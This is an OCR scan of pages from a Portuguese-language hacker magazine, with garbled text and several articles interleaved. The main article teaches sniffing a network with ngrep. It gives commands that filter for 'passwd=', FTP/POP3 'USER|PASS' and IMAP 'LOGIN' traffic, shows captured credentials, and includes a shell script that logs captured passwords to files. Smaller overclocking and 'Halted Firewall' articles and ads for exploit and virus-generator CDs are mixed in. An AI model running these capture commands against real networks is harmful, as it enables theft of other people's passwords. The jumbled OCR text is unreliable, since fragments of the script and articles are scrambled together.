“sniffer”. O sniffer é um programa que
"fareja” a rede e fica vigiando tudo o que
acontece sem ninguém saber. Esses
programas podem ser usados para capturar

senhas, usuarios ou qualquer outro dado
que esteja trafegando pela rede.

E facil perceber a utilidade de um sniffer
para um “cracker”. Por outro lado, ele
também é muito Gtil para os profissionais
que trabalham com seguranca da informa-
¢ao, pois se podem depurar problemas na
rede e realizar testes de seguranca.

Apesar de muito se falar sobre os
sniffers, poucos textos ensinam como
utiliza-los ou cria-los. Neste artigo, vocé
aprendera a usar um excelente sniffer, o
ngrep. O ngrep (network grep) é um
programa que utiliza a /ibpcap para vigiar
tudo o que acontece em sua rede. A
grande vantagem é que vocé pode adicio-
nar filtros para refinar o tratamento dos
dados. Em um proximo artigo, eu preten-
do ensinar como criar o seu préprio sniffer
utilizando a /ibpcap em perl.

O ngrep s6 pode ser utilizado em sistemas
Unix (Linux, OpenBSD, FreeBSD, etc.). Portanto,
se voce utiliza Windows, “I'm sorry”. O site
oficial do ngrep é <http://
www.packetfactory.net/Projects/ngrep/>,
onde vocé o encontra para download, além de
algumas informacoes sobre como usa-lo.

Em um sistema Linux, vocé pode seguir estes
passos para instala-lo:

# wget <http://heanet.dl.sourceforge.net/
sourceforge/ngrep/ngrep-1.40.1.tar.gz>

# tar -zxvf ngrep-1.40.1.tar.gz

# cd ngrep

# ./configure

# make

# make install

O programa sera instalado no diretorio /usibin.

Depois de ja instalado, pode-se comecar a usa-lo. Mas antes
disso, é necessario ter algumas coisas em mente. A primeira é qual
o protocolo que se deseja sniffar. O ngrepsuporta o tcp, 0 udpe
o /cmp. A maioria das conexoes da Internet utiliza o 7cp, como por
exemplo, 0 acesso aos e-mails, sites e servidores de 7zp.

O outro protocolo muito usado é o vap. Este é um protocolo
nao-orientado a conexao (diferentemente do #cp, que é), sendo
mais Util para transmissoes que precisem de acesso rapido e sem
controle de dados.

O ultimo protocolo suportado é o /cmp, usado para controle e
depuracao da rede.

O mais importante para o nosso objetivo € o tcp. Ele é utilizado
quase sempre que alguma senha sera enviada na Internet. Por
Iss0, ele estd em nossos exemplos.

A segunda coisa que devemos saber é o que se deve filtrar
(termos e portas). Por exemplo, o /Atip utiliza a porta 80, enquan-
to o smtp(envio de e-mails) usa a porta 25.

Outro detalhe importante é a interface de rede que sera
utilizada. Em sistemas Linux, a padrao é a eth0. Se vocé usa o
OpenBSD, o FreeBSD ou qualquer outro Unix, ela pode ter um
nome diferente. Basta digitar “/fconfig -a” e ver qual a interface
disponivel.

Vamos agora comecar com o “sniffing” em si. Em nosso
primeiro exemplo, filtraremos tudo o que passar na nossa
interface ethOe que utilize o protocolo tcp.

# /usr/bin/ngrep -d eth0 ‘’ tcp

Esse comando filtra a interface et/0 e apenas mostra as
conexdes do zcp. As duas aspas, sem nada entre elas, significam
que o programa nao deve procurar por nenhuma palavra em
especial. Assim, tudo o que trafegar sera logado. O resultado
desse comando sera algo parecido com isso:

filter: ip and ( tcp )

###

T 192.168.1.187:40046 -> 207.46.106.25:1863 [AP]
PNG. .

H##

T 207.46.106.25:1863 -> 192.168.1.187:40046 [AP]
QONG. .

##

T 192.168.1.187:40074 -> 146.82.184.3:143 [AP]
631 NOOP..

#

T 146.82.184.3:143 -> 192.168.1.187:40074 [AP]
631 OK NOOP completed..

it

T 192.168.1.106:35501 -> 200.221.8.17:80 [A]
GET / HTTP/1.0..Host: www.uol.com.br..Accept:

text/html, text/plain,

application/vnd.sun.xml.i

mpress.template, application/vnd.sun.xml.draw,
application/vnd.stardivision
au, audio/aiff, audio/x-aiff, audio/x-pn-aiff,
audio/mod,
image/*..Accept:
video/mpeg, video/*, application/pgp,
application/pdEf,
application/postscri
pt, message/partial, message/external-body, x-
be2,
application/andrew-inset

.+ text/richtext, text/e

O resultado é um pouco complicado de entender, por isso
devemos aplicar mais filtros ao nosso comando para facilitar a
compreensao.

# /usr ngrep -d eth0 ‘'’ tcp port 80

Esse comando usa um filtro a mais que o comando anterior. Ele
logaré tudo o que utilizar o protocolo #cp e se direcionara a porta
80. Como todos ja sabem, a porta 80 é utilizada pelos nossos
browsers(Internet Explorer, por exemplo) para se comunicar com
0s sites (servidores de paginas). Com esse filtro, podemos ver
todos os sites que o pessoal da nossa rede estiver acessando. O
log é mais simples de compreender, porém ainda nao esta
perfeito. Nesse proximo exemplo, iremos filtrar para apenas ver os
usuarios e as senhas de todas as pessoas que estao acessando o
Yahoo!.

# /usr/bin/ngrep -d eth0 ‘passwd=’ tcp port 80

interface: eth0 (192.168.1.0/255.255.255.0)

filter: ip and ( tcp port 80 )

match: passwd=

T 192.168.1.106:35584 -> 66.163.171.128:80 [AP]

Content-Type: application/x-www-form-

| urlencoded..Content-Length:

tries=&.dme=http%3A%2F%2Flogin. yahoo . carf2Foanfigh2Rmi 1%3F .
int1%30br%26 . 19%3bré . sre=ymé: . slogin=danielcids. partner=&. intl=br&. £
Update=&passwd=xx08ybhfl2&Login=Entrar

Com esse filtro, fica facil pegar os usuarios e as senhas. E so
olhar
no resultado do comando para ver:

slogin=danielcid

passwd=xx08ybhf12

Essa era a minha antiga senha do Yahoo!. Acabei de muda-la.

Um outro filtro que podemos aplicar € um que detecte os

usuarios e senhas utilizados nas conexoes aos servidores F7P. Esse
filtro é um dos mais faceis porque no F7Pas senhas e os logins sao
enviados seguindo um protocolo bem rigido, funcionando da
sequinte forma:

USER usuario
PASS senha

Portanto, nosso filtro deve ficar da seguinte maneira:
# /usr/bin/ngrep -d eth0 ‘USER|PASS’ tcp port 21

interface: 'eth0 (192.168.1.0/255.255.255.0)
filter: ip and ( tcp port 21 )
match: USER|PASS

#HH#HHHHEE S

TH192°168:1106:35607 -> 20072552517 :21
USER daniel..

Hitd#

T 11927516811 106 :1356/07 = > 2002555+ 1 7221
PASS testedenha..

R R

T 192.168.1.106:35608 -> 146.82.184.3:21
USER daniel..

H#i##

T 192.168.1.166:35608 -> 146.82.184.3:21
PASS testedesenha2..

HHAHERR

No caso, “testedesenha” e “testedesenha2” eram as minhas
senhas detectadas pelo sniffer,

Para facilitar, podemos fazer um she// script que use as regras
citadas. Ainda podemos adicionar mais alguns filtros para pegar as
senhas enviadas para a porta 110 e 143 (pop3 e imap), Os outros
dois filtros ficariam assim:

# /usr/bin/ngrep -d eth0 ‘USER|PASS’ tcp port 110

Essa regra filtra os usuarios e as senhas utilizados nas conexoes
POP3. Toda vez que algum usuario utilizar o ottlook ou algum
cliente de e-mail similar, vocé vera a sua senha.

# /usr/bin/ngrep -d eth0 ‘LOGIN “' tcp port 143

Esse comando faz a mesma coisa que o filtro acima, porém
escuta a porta 143, utilizada pelo /map.

O nosso shell script seque abaixo. Ele esta comentado para
facilitar o entendimento:

N
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#1/bin/bash

#Daniel B. Cid - daniel@underlinux.com.br

<mailto:daniel@underlinux.com.br>

#Programa exemplo para a revista H4ck3r
#Salve-o como “sniffer”
#Para iniciar, faga ./sniffer start

#Para parar, faga ./sniffer stop

#As conexdes ficardo logadas nos arquivos:

#yahoopass.log - senhas do Yahoo!

case M“Si1” “in

start)

étop)

abe-se que o overclock
perfeito depende de
diversos fatores, que
fazem com que o seu
processador, de fato, rode
a um clock efetivamente alto ou que
a memdria de sua placa de video rode
em uma freqiéncia mais alta —
efetuando, assim, o overclock. Dando

r ad N ; & )
estart|reload) continuidade & nossa se¢do de artigos

sobre overclocks na revista HACKER,
oF iremos, nesta edicao, falar justamente
sobre os principais fatores que garan-
tem que um overlock seja efetuado
com seguran¢a. O exemplo a ser
citado aqui serd prdtico e mostrard
principalmente a diferenca de
performance entre um sistema sem
overclock algum e outro com uma
alteragao aceitdvel e segura. A partir
dele veremos por que vale a pena
vocé investir e executar este tipo de
atividade.

#ftppass.log - senhas de ftp
restart
#femail.log - senhas de e-mail (pop3)

#femail2.log - senhas de e-mail (imap)

o3)
start() {

echo $”Usage: $0

echo -n $”Iniciando o programa
{start|stop|restart|reload}”
sniffer..”

exit 1

/usr/bin/ngrep -d eth0 ‘passwd=’

tcp port 80 >> yahoopass.log

/usr/bin/ngrep -d eth0 ‘USER|PASS’

tecp port 21 >> ftppass.log

/usr/bin/ngrep -d eth0 ‘USER|PASS’
tcp port 110 >> email.log

#-0 programa termina aqui-#

/usr/bin/ngrep -d eth0 ‘LOGIN ™
tecp port 143 >> email2.log

RETVAL=$? Cancl

echo

Como vocés podem ver, é muito simples sniffar uma rede

e pegar todo o tipo de informacao desejada. Apesar de
termos tratado apenas da captura de senhas com o ngrep,
os sniffers podem ser utilizados para muitas outras coisas. O
mais importante é perceber o quanto a seguranca e a
criptografia sdo importantes. Tente sniffar a porta 22 (do
ssh) e veja a diferenca. Sera impossivel decifrar alguma coisa.
Outra medida de protecao contra os sniffers é o uso de
switches. Eles ndo entregam os pacotes “/P’ para toda a
rede, mas apenas para a maquina especificada, preservando
assim a confidéncia da informacao transferida. (Note que
echo existem métodos que passam por cima da protecao dos
[ $RETVAL -eq 0 ] && rm -f /var/ switches).

run/faketelnet

[ SRETVAL -eq 0 ] && echo “Running”
>> /var/run/sniffer

return $RETVAL

stop() {
echo -n $”Parando o programa
sniffer. .. ™
killall -9 ngrep

RETVAL=$?

Rutar
return $RETVAL
Daniel Barbosa Cid é especialista em seguranca da .
informacao e em sistemas Unix. Ele é um dos fundadores do ey 3 s L
site Underlinux <htto./www.underlinux.com.br/> e atual- L A pergiinta que e cala é: por que fazer overlock? Serd que realmente vale a pena colocar em risco o seu equipamento para
StOP mente estd trabalhando como engenheiro de sistemas na ' endar a perfogiiance defe? - 3 ]
start LogicTree Corp <http.//www.logictree.com/> e escrevendo - Arésposta € simat Depois de viver varios anos trabalhand com informatica, vemos que, com o passar dos tempos, novas tecnologias
um livro sobre o OpenBSp s processadores, placas-maes, placas dévideos, qm, novos clocks, levando a um aumento de performance conside-

restart () {




OVERCLOCK

ravel nesses equipamentos. Mas um outro aumento que torna esses equipamentos inviaveis para alguﬁs usuarios é'0 do seu preco! Isso
é fato: se vocé quer montar um PC com pecas tops, Ultimos lancamentos na dfea de hardwate e tecnologia, tera de gastar muito. O
pior de tudo é que o preco pelo qual vocé paga hoje no seu equipamento, em Um curto espaco de tempo, digamos, um més 4ré cair
consideravelmente; assim, se vocé pagou mil reais em uma placa de'video do momento,gom o tempo nao ird conseguir vendé=la por
mais de 600 reais. Por esses e outros motivos, é possivel adquirir um equipamento que nao seja tdo caro fazendo um overclock e,
assim, economizar dinheiro tanto na hora de comprar quanto na hora de vender. Mas, acima de tudo, vocé tera uma performance
que, se nao for igual, pelo menos seré parecida com aquela que vocé teria com uMequipamento top.

OPN Code Frequency
1000 1000 MHz

A escolha certa

Para o leitor nao acompanhou a primeira parte do artigo na HACKER # 10,
volto a repetir nesta edicéo o seguinte'aviso: o overclock somente sera valido e
tera o resultado esperado se vocé utilizar as pecas certas. Digo isso porque nao
serd possivel transformar um processador AMD Athlon XP 1800+ em um 3200+
utilizando uma placa-mae que nao permite o aumento de voltagem e do
multiplicador e, principalmente, um cooler sem marca e memorias genéricas. Na
minha opinido, o fato de ter de utilizar pecas selecionadas é o mais chato no

processo — modelos, especificacdes, tudo é levado em conta.

Inicialmente, apresentaremos uma introducao ao foco principal deste
overclock, que serd em um processador AMD Athlon XP. Sabemos que, ao
comprar uma maquina nova, montada, vocé escolhe.o processador. No caso dos
AMBD, os processadores sdo classificados pelas lojas per nimeros que ndo
condizem com o clock real do mesmo — um exemplo disso é o processador AMD
Athlon XP 1800+, cujo clock real é 1533.0 MHz. Assim, sempre que comprar tim
processador, procure saber o clock real dele. Abaixo listamos alguns modelos

com seus nmeros (codes) e sua freqtiéncia (clock) real.

Percebe-se que, com o decorrer do tempo, além da
freqliéncia dos processadores subir, novas tecnologias séo
lancadas, inovando assim o processador — é o caso do novo
processador da AMD com 64 Bits, que promete revolucionar o
mundo da informética e do modo de ver e comprar um
processador. A familia dos Athlon XP possui os seguintes
modelos:

AMD Atholn XP - Core: Thunderbird, Palomino,
Thoroughbred e Barton

A principal diferenca desses processadores, além do core, é
a tecnologia utilizada e suas funcoes, ja que, desde o mais
antigo da familia até os Bartons, a evolucao foi muito além dos

1100 1100 MHz

1133 1133 MHz

1200 1200 MHz

1300 1300 MHz

1333 1333 MHz

1400 1400 MHz (desktop)
1400 1200 MHz (Mobile)
1500 1333 MHz

1600 1400 MHz

1700 1467 MHz

1800 1533 MHz

1900 1600 MHz

2000 1667 MHz

2100 1733 MHz

2200 1800 MHz

2400 2000 MHz

2500 1833 MHz

2600 2083 MHz (333 FSB)
2600 2133 MHz (266 FSB)
2700 2167 MHz

2800 2083 MHz

10]0]0} 2167 MHz

o
clocks. Quem é adepto do overclock e ja utilizou um offtiais
processadores dessa familia deve saber mujto herf pof:due
existem muitas diferencas entre eles, pnndpalmentg&r}zre 3
Palomine e o Thoroughbred A e entre g Thorot,gbf@e! B'ean
Barton. Sabendo disso, o usudrio sabgfd qual proe&‘ssador \
comprar. Nao basta simplesmente igaumaloja e,ped|r um %
pragessador XP 1800+, é preciso prestar muﬁqat@ngao no que se?,

i X
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*5 comtudo, digamos,

Ad lferenga

Ap6s saber algumas diferencas entreos procesﬁdores da AMD
familia Athaln XP, iremos iniciar um exemplo de como um bom
overclock pode ser executado com total seguranca nesse processador,
0 que servira de base para quem quiser entrar neste mundo.

Hardwares utilizados

o ABIT NF-S ver. 2.0 — Placa-mae com chipset NVIDIA nForce2,

uma das Ultimas palavras em teenologia para processadores AMD
e AMD Athlon XP 1800+ —Thorougbred B JIUHB DLT3C 0309, uma

das melhores versoes para overclock. Esse processador consegue,
utilizando watercooler, um clock interno e real de 2600 MHz

o 2x 256 MB DDR Corsalr TWINX5 12-3200C2ZPT —Memérias de
‘alta laténcia canseguem rodar além de 400 MHz

e HD 60 GB Maxtor PiamondMax Plus 9 —HD barato e rapido,
7200 rpm, 9 sec.

e Cooler Voolcano 7+ —Nao é um dos melhores, mas ja quebra
um bom galho, po'is nao deixa o processador aquecer tanto

Softwéres utilizados

e Wihdows XP Service Pack 7 — Com todos os updates
" efetuddoste rodando 100% estavel
e SiSoft Sandra 2003 — Software utilizado para fazer testes de
veloc;dade de processador, memoria, etc.
F cPU-z = Para ver o €lock interno que o processadorésta rodando
,ii‘f ‘Com tudo montado e devidamente preparado, Ifemos primeira-
i\ mente ver e
i comparar 0 sistemal
~ Syrodando sem
overclock, isto ¢,
. sem nada alterado,

[AMD Athlon XP 3200+ 2,2GH:2 ¥

Reference CPU 2

IWW)@W’ZJG@ 'I

Integer aEMMXIASSE 12320 itfs

> de fabrica.
Acompanhe as
‘imagens ,Qaixo: ;

Essa imagem gmumﬂhmds
- | SMT Test
. mostra um 3C0ynanic MPIMT Load Balance
benchmark do

’S‘ip’r'ocessadorr'io o B % - 100\

lv XN 2

d:‘*?‘&andra Nesté caso, 7 R
“waprocessador, como dissemos acima, esta rodando sem nenhuma
al}f'eragao totalmente em stocks Podemos ver gue o desempenho
dele, comparado Gbm o de upt processadarXP 3200+, é bem
¢ ,mfenor— claro, afmal estamos falando de um progessador com
q clock normal muito alto. = g
L ; Fe ,
Na* lmagem acima %pdemos ver, com o software CF’L} g2, d
c1dage do process dor,.em qual voltagem esté rodafido, seu
ek rée omu!t:pﬁ&:adoreoFSB ¥

%
rclock quélremos fazer em nosso sistema é ba5|cQ, sem

1 < benchmarks.

propria BIOS e, como a Mesma permite uma élteragéo total:no
FSB, no multiplicador e na voltagem, tudo é passivel. Com base em
alguns testes, iremos setar as seguintes configuracdes de BIOS:
FSB em 210 MHz e multiplicador 11,5 x 210 MHz, que sera o clock
total e real do sistema. Mas para o processador rodar nesse clock,
temos de aumentar a voltagem do mesmo; iremos, portanto,
colocar o processador para rodar em 1.8 V. Isso também se aplica
a voltagem.do chipset e meméria: para a voltagem do chipset,
iremos colocar 1.7 V.e para a memoéria, 2.7 V. Vamos salvar as
alteracoes e iniciar o micro. Esta etapa exige muita atencéo, pois
apos efetuarmos as
alteracbes devemos sempre
acompanhar como esté
rodando o sistema, se ele
esta estavel e se a tempe-
ratura nao esta tao alta.
Em nosso caso, tudo : (7 Etvod| &
ocorreu normalmente — |
houve uma elevacédo da
temperatura, mas isso é
normal, pois aumentamos a
voltagem dele. Veja nas
figuras abaixo o resultado
do nosso overclock:

Inicialmente iremos iniciar o
CPU-Z, para ver se as
alteracoes realmente surtiram
efeito. Como podemos ver
naimagem acima, o
processador esta rodando
em miseros 2420.5 MHz.

O que nao pode faltar
sdao os benchmarks. Acima,
para se ter uma idéia da
poténcia do processador,
nosso processador ganhou
em performance em relacao a um XP
3200+, o Gltimo da
familia e com o maior
clock.

Em outras palavras, a
partir de um
processador que custa
menos de R$ 300,
conseguimos ter uma
performance superior a
de um que custa mais
de R$ 1.500 — e isso foi
comprovado pelos
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HALTED FIREWALL

Frederico Argolo

fredargolo@uifrj.br

>>>>|NGMODUCA0

Atualmente, todos os administradores de
sistemas tém de ficar atentos a novas
vulnerabilidades, participando de listas, lendo
artigos, atualizando o sistema, sempre em
busca da seguranca perfeita. E toda vez que se
toca nesse assunto, lembra-se do velho ditado:
"0 unico computador seguro é aquele que
esta desligado”. Foi af que surgiu a idéia do
Halted Firewall.

Examinando o contetido do /etc/rc.d/rc0.d

#ls -| '

lrwxrwxrwx 1 root root 19 Aug 7 17:28
KO0Olinuxconf -> ../init.d/linuxconf

lrwxrwxrwx 1 root root 15 Aug 5 18:24
K03rhnsd -> ../init.d/rhnsd :

lrwxrwxrwx 1 root root 17 Aug 5 18:16
KO05anacron -> ../init.d/anacron

lrwxrwxrwx 1 root root 13 Aug 5 18:14
K05atd -> ../init.d/atd

lrwxrwxrwx 1 root root 18 Aug 5 18:14
KO5keytable -> ../init.d/keytable

lrwxrwxrwx 1 root root 13 Aug 5 18:18
K10xfs -> ../init.d/xfs

lrwxrwxrwx 1 root root 13 Aug 5 18:15
K15gpm -> ../init.d/gpm

lrwxrwxrwx 1 root root 15 Aug 5 18:25
K15httpd -> ../init.d/httpd

1rwxrwxrwx 1l root root 15 Aug 5 18:26
Kl6érarpd -> ../init.d/rarpd

lrwxrwxrwx 1 root root 13 Aug 5 18:23
K20nfs -> ../init.d/nfs

lrwxrwxrwx 1 root root 16 Aug 5 18:25
K20rstatd -> ../init.d/rstatd

lrwxrwxrwx 1 root root 17 Aug 5 18:25
K20rusersd -> ../init.d/rusersd

lrwxrwxrwx 1 root root 16 Aug 5 18:25
K20rwalld -> ../init.d/rwalld

lrwxrwxrwx 1 root root 15 Aug 5 18:24
K20rwhod -> ../init.d/rwhod

lrwxrwxrwx 1 root root 15 Aug 5 18:26

K25squid -> ../init.d/squid

lrwxrwxrwx 1 root root 14 Aug 5 18:25
K25sshd -> ../init.d/sshd

lrwxrwxrwx 1 root root 18 Aug 5 18:16
K30sendmail -> ../init.d/sendmail

lrwxrwxrwx 1 root root 19 Aug 5 18:25
K34yppasswdd -> ../init.d/yppasswdd

lrwxrwxrwx 1 root root 19 Aug 5 18:25
K35vncserver -> ../init.d/vncserver

lrwxrwxrwx 1 root root 20 Aug 5 18:16
K44rawdevices -> ../init.d/rawdevices

lrwxrwxrwx 1 root root 15 Aug 5 18:26
K45named -> ../init.d/named

lrwxrwxrwx 1 root root 15 Aug 5 18:24
K46radvd -> ../init.d/radvd

lrwxrwxrwx 1 root root 15 Aug 18:24
K50snmpd -> ../init.d/snmpd

lrwxrwxrwx 1 root root 13 Aug 18:26
K50tux -> ../init.d/tux

lrwxrwxrwx 1 root root 16 Aug 18:20
K50xinetd -> ../init.d/xinetd

lrwxrwxrwx 1 root root 15 Aug 1816+

K60crond -> ../init.d/crond

lrwxrwxrwx 1 root root 13 Aug 18:17
K60lpd -> ../init.d/1pd

lrwxrwxrwx 1 root root 16 Aug 18:24
K65identd -> ../init.d/identd
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lrwxrwxrwx 1 root root 16 Aug 5 18:23 K72autofs -> ligada e o firewall ativo, devemos remover os seguintes links do init 0:

../init.d/autofs /etc/rc.d/rc0.d/S01halt »
lrwxrwxrwx 1 root root 14 Aug 5 18:16 K74apmd -> /etc/rc.d/rc0.4/S00killall
../init.d/apmd g /etc/rc.d/rc0.d/K90network Y
lrwxrwxrwx 1 root root 14 Aug 5 18:19 K74ntpd -> /etc/rc.d/rc0.d/K92iptables 3
s/dinitid/ntpd ; ; <
lrwxrwxrwx 1 root root 16 Aug 5 18:25 K74ypserv -> Com a retirada deles, a maquina no runlevel 0 manteria ‘N 1
../init.d/ypserv iptables e rede ligados, pois os seus respectivos links K90network \d
lrwxrwxrwx 1 root root 16 Aug 5 18:25 K74ypxfrd -> e K92iptables foram removidos e esses processos nao serao :
../init.d/ypxfrd finalizados nesse run level.
lrwxrwxrwx 1 root root 15 Aug 5 18:16 K75netfs -> A remocao do S00killall e SOThalt foi necessaria porque sua D I.
../init.d/netfs : funcao é percorrer recursivamente o /etc/rc.d/rc0.d/ e rodar tpdos f e Ive ry.
lrwxrwxrwx 1 root root 16 Aug 5 18:16 K80random -> | OSSCripts que comecam com K, incluindo, assim, os links TR
../init.d/random K90network e K92iptables, ocasionando a falha do teste.

Acredite
nessa idéia.

Se vocé mora na cidade de

Rio Branco, no Acre, nds
entregamos sua revista.

Se vocé mora no extremo sul

do Pais, nés também entregamos
a sua revista.

A cobertura é nacional.
Correios, Internet, telefone.

lrwxrwxrwx 1 root K86nfslock -

../init.d/nfslock * ; & 'antagens
lrwxrwxrwx 1 root root 17 Aug 5 18:20 K87portmap -

> Lod/luik Q/pOrtRAD A principal vantagem ¢ a dificuldade que um atacante encon-

trara para invadir o seu firewall, porque quanto menos processos ‘g,
e menos portas abertas, menor a chance de isso acontecer. Como ﬁsk

lrwxrwxrwx 1 root root 16 Aug 5 18:14 K88syslog-->
../init.d/syslog : :

num Halted Firewall a maquina sé teria kernel, rede e iptables
rodando, nosso “amigo” nao terd muitas opcoes.

Sobre ataques DoS e DDoS, que hoje sdo um grande problema,
o Halted Firewall reagiu de forma normal ou até um pouco
superior, comparando a um firewall iptables numa maquina
normal.

Note que todo o contetido deste diretério se constitui de links

simbolicos que apontam para scripts dentro de /etc/rc.d/init.d. A
primeira letra indica se o processo para o qual aponta deve ser
ativado ou desativado. Se for ‘S'(started), ¢ ativado; se for ‘K’
(killed), é desativado. Os nimeros seguintes indicam a sua ordem.

- Desvantagens :
Como foi visto, ao desligarmos o computador,transformamos o ; : “hefsa 2 \ist2 \ Acredite nessa idéia.
runlevel corrente (geralmente 3 ou 5) no runlevel 0. Ao digitar init Sem duvida, 0 maior problema do Halted Firewall é a dificulda- Co ComP\.f;a
0 ou halt na maquina, o sistema executara todos os scripts em / de de se acrescentar regras. Como a maquina esta no run level 0, . «F al ;,L".co
etc/rc.d/rc0.d, automatizando esse processo. 0 Unico mejo de adicionar novas regras é desligando fisicamente a | : dige¥
& ; ‘ : i maquina. : T, R
: A idéia do Halted Firewall é fazer com que o firewall continue Cq : o i i Il COMPRAR ‘Hardware &l COMPRAR
filtrando os pacotes em runlevel 0. onsequentemente, a f\eCESSl ade da presenca fisica .0 : Design Magazine | = PCBrasil Especial 5
Consegiientemente, terfamos um sistema sem discos montados  @dministrador €, para muitas empresas, um grade empecilho, pois | P=hOniomegue Monte seu préprio PC:em 6
A b X 7 50 A : - Vao te ensinar tudo so- supervideoaulas vocé vai :
e sem nenhum processo rodando, dificultando, assim, aacdode . = @ Maioria delas féz a adicao de regras pela rede ou o prép:no,{lDS bre animacbes. 3P;’:nderamomzrseu?f.fa- 3
um invasor. (Intrusion Detection Systems) cumpre essa tarefa. Photoshop: 1.500 zer upgrade de HD, meméria
Tendo removido todos os processos, o invasor ndo teria como O Halted Firewall, portanto, ndo é recomendado para ser PP . Pueinsed0nuoris :,m".w@d'w"m"i'
- : 3 5 = " . '==f mais.
ganhar acesso a shell. Dessa forma, nao poderia executar codigos  €olocado antes de um servidor HTTP, por ser.o mais visado pelos : RS 11,90
: : ; : i scripts kiddie e defacers, exigindo, assim, a necessidade constante |
no sistema, além daquele que fosse introduzido diretamente no p o g 2 B COMPRAR Bl F iy
S : A e ears AchO Y Il COMPRAR &
espaco do kernel. Isso exigiria a escrita do codigo de shell para ; £d0 Urds, Geek 35 DECDEDVD 4V GeekEspecial I7 A
produzir os resultados desejados. 0 mundo dos Hacker 2.0. Todas fﬂ?.'v“é“’t& Transforme vinilem (D e VHS
E asferramentas para vocé se ! em DVD.
Conclusao tornarum. Aprenda a trabalhar Selecao de Firmwares para au-
i : 3Dem MaYa, oprograma do mentar a velocidade dos seus
Apesar das desvantagens apresentadas, essa implementacao de ke o d;vve;tm-kon,m-mnvn
o 2 . SR ) - =] ¢ 3
Para montar um Halted Firewall foram utilizados: um computa- firewall é bastante interessante. Dependendo da criatividade de oW RS 11,90
Hbricom rbcessador Pentiumll 500Mhz, 128Mb de meméria, uma cada administrador, é possivel aplicé-lo com mais recursos como, ) Sy
. 4 ; : por exemplo, ativacdo de logs. Nesse caso, o administrator teria B e . Il COMPRAR
placa de rede da 3Com e um HD de 10Gb. O sistema el b e t;/' i i ﬂﬂhugn Hackerll PCBrasil 20
implementado foi o Red Hat 7.2 (kernel 2.4.XX), por ser uma U estudanoein @xptints <o ELCINIL.O C MOCI e otanagruoo] | 3 T:r::::b:rds:,mm Linuxna PH:saiba orgueaPo-
distribuicao GNU/Linux mais utilizada. O firewall aplicado no teste acordo com sua.necesmdadj. ¢ . o i Porn Tools: as melhores ferra- :?,:: ol r
foi 0 iptables, bastante conhecido na 4rea de seguranca. Os testesanui aptesentagos 10rambei SimpIes DRSS mentaspara rar o méximo Steganos uite 3 tudo e ape-
; uma idéia antiga de se utilizar um firewall num sistema teorica- proveito dossites proibidos nasum nico programa.

Como a intencdo é desligar a maquina, mas manter a rede '
: mente desligado.
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- DIGITEL

Estintio
Caseira

Mdxime

B CoMPRAR |

404 Programas:
Amelhor selecao de softwares
de todos s tempos em um
Ginico CD-ROM.

B COMPRAR
Arquivo Linux8

Mandrake 9.0: guaia passoa
passo de instalagao,
particionamento, configuragao
Web, programas da Distro, di-
cas especiais e muito mais.

COMPRA

udio e Video Dlguzl 7
Monte seu estiidio em casa.
Softwares e tutoriais para
turbinar seu gravador de (D e
sua placa de video.

Bl COMPRAR |

Hacker 5

Evite invasdes: incrivel manu-
al para rastrear invasoes na sua
maquina

Phreaking: a arte de hackear
telefones estd desvendada.

M COMPRAR |

Hacker 8

Firewall: transforme seu com-
putador em uma verdadeira
fortaleza. Anti-Spam: chega de
caixa lotada. Ntop: topo de
ferramentas de gerenciamento
de redes.

| COMPRAR
Hacker Especial |
Quebra de Programas: mais de
15 softwares para engenharia
reversa

Mais de 80 tutoriais C/C+ +,
Assembler, XML, SQL, Perl,
Linux, Aspen e outros.

| COMPRAR Hardware

Slllll!l

PC Linux|

Sistema completo: Linux que
roda direto do CD. Nova ver-
sao! Demo Linux 3.0 basea-
do no Debian. Nao precisa ins-
talar.

M COMPRAR |
Aprendaa Programar I
Tudo para vocé aprender a pro-
gramar. Mais de 80 tutoriais

em diversas linguagens, mais
de 1000 cadigos-fonte, C/C

-+ +, dicas de Delphi, tudo
sobre cracking e muito mais.

{7 WO C. Distibuico completal

Lifux

debian
Vi 30 R

Para mais informagdes: (I 1) 3217-2600 ou

atendimento@digerati.com.br. Vocé também pode

comprar sua revista pelo site www.digerati.com

Compre também pelo telefone (11) 3217-2600 ﬁ

instalecio
SAMBA

Cuio Pritico

Il COMPRAR

Aprenda a Criar Sites |
U superguia para produgao
de sites com as ferramentas
mais usadas.

ASP. Tutorial completo. A lin-
guagem que torna seu contedi-
do dinamico. Aprendizado fa-
cil e rapido.

B COMPRAR |
Arquivo Linux 9

Debian 3.0 R1: o linux para
profissionais que é totalmente
seguro e confiavel. Ainda, um
manual com todas as dicas
parausar o seu S0.

B COMPRAR |

Geek Especial 6

Especial Audio e Video. Trans-
forme seu micro em um estidio
digital.

Mais de 100 programas para cri-
ar, editar e processar filmes e
misicas

Bl COMPRAR _

Hacker 6

Exploit Factory. Conhega o
programa para explorar e que-
brar servidores. Técnicas de
programagao e codigo-fonte.
IDS: construa um sistema para
detectar invasores.

B COMPRAR _

Hacker 9

Phreaking: hackeando telefo-
nes. No CD, os melhores
scanners, ferramentas e
tutoriais para vocé descobrir os
segredos do seu telefone.
Espionagem digital: como fa-
761 & COMO evitar.

Bl COMPRAR

Hacker 10

Slackware-live: Linux preferi-
do dos hackers que roda direto
do CD.

Open Wireless: 20
superferramentas para hackear
redes sem fio.

Ml CoMPRAR

PCBrasil Especial 3

Kit do Técnico em hardware
contendo 20 softwares para di-
agnostico e correcao -+ discos
de boot, minidistro Linux...

M COMPRAR |

Hacker 4

Virus! Worms & Cia. Geradores
de virus e worms.

Darwin: o sistema open source
da Apple baseado no BSD.
Completo no CD.

ech

Bl COMPRAR

Game Type |

Micropets: conhega os famosos
robds japoneses.

No CD: Devastation. Counter-
Strike & coisa do passado! Mais
grficos, estratégia e diversao.

RS 11,90

El

GameBlaster 5

Dragon Ball GT: Goku agora
precisa salvar o universo.
Yu-Gi-Oh: os duelistas que do-
minaram o planeta e o polé-
mico jogo de cartas.

Il COMPRAR _

Top Games Evolution 24
Salve seu console: os melhores
técnicos do Brasil ensinam
Vocé a preservar sua maquina.
Metal Gear Solid 2 -
Substance: confira o video es-
petacular da nova pérola da
Konami.

B comeran |

Banda larga l

Internet rapida: conheca os
servicos deacesso por banda
larga e suasvantagens.

No CD: s oftwares para baixar
mulsica, correio eletronico, na-
vegadores, ferramentas para
seguranca e muito mais.

B COMPRAR
E-Learning 9

Atlas e enciclopédia Brasil
multimidia: ferramenta com-
pleta para aprender Historiae
Geografia do Brasil.

Aula de Espanhol Vol. 1:
aprenda um dosidiomas mais
falados do mundo.

M comPRAR_

MP3e Cia2

Torne-se um especialista em
miisica digital com os novos
programas para criar, editare
